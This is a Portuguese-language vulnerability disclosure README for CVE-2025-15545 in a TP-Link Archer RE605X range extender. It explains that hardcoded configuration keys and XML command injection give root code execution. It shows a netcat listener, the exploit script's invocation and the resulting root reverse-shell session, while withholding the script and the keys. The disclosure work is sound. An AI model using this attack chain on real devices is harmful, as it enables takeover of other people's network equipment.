
Prova de Conceito para CVE-2025-15545
Fornecedor: TP-Link
Site do fornecedor: TP-Link
Modelo: Archer RE605X
Versão de hardware: RE605X v3.0
Versão do firmware: RE605X(EU)_V3_1.1.5 Build 20240905
Endereço de download do firmware: TP-Link
Uma cadeia de vulnerabilidades — incluindo o uso de chaves criptográficas hardcoded e uma injeção de comandos no componente analisador de configuração XML — permite que um atacante autenticado localmente obtenha execução remota de código (RCE) como root no dispositivo.
Nota: A prova de conceito exploit.py demonstra um cenário de ataque encadeado e depende de credenciais de um usuário autenticado como pré-requisito adicional. Esta etapa de autenticação não é coberta pela CVE-2025-15545 e está incluída apenas para fins de demonstração.
Escute por conexões de entrada em um terminal separado:
$ nc -lvnp 4444
Execute o script exploit.py:
$ sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>
Nota: aes_key e aes_iv são as chaves criptográficas hardcoded usadas pelo dispositivo para criptografar e descriptografar arquivos de configuração, e são necessárias para esta prova de conceito. Por questões de segurança, elas não podem ser compartilhadas aqui.
A shell reversa é recebida no primeiro terminal:
$ nc -lvnp 4444
Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt
Estas vulnerabilidades foram reportadas por Nicola Giuffrida.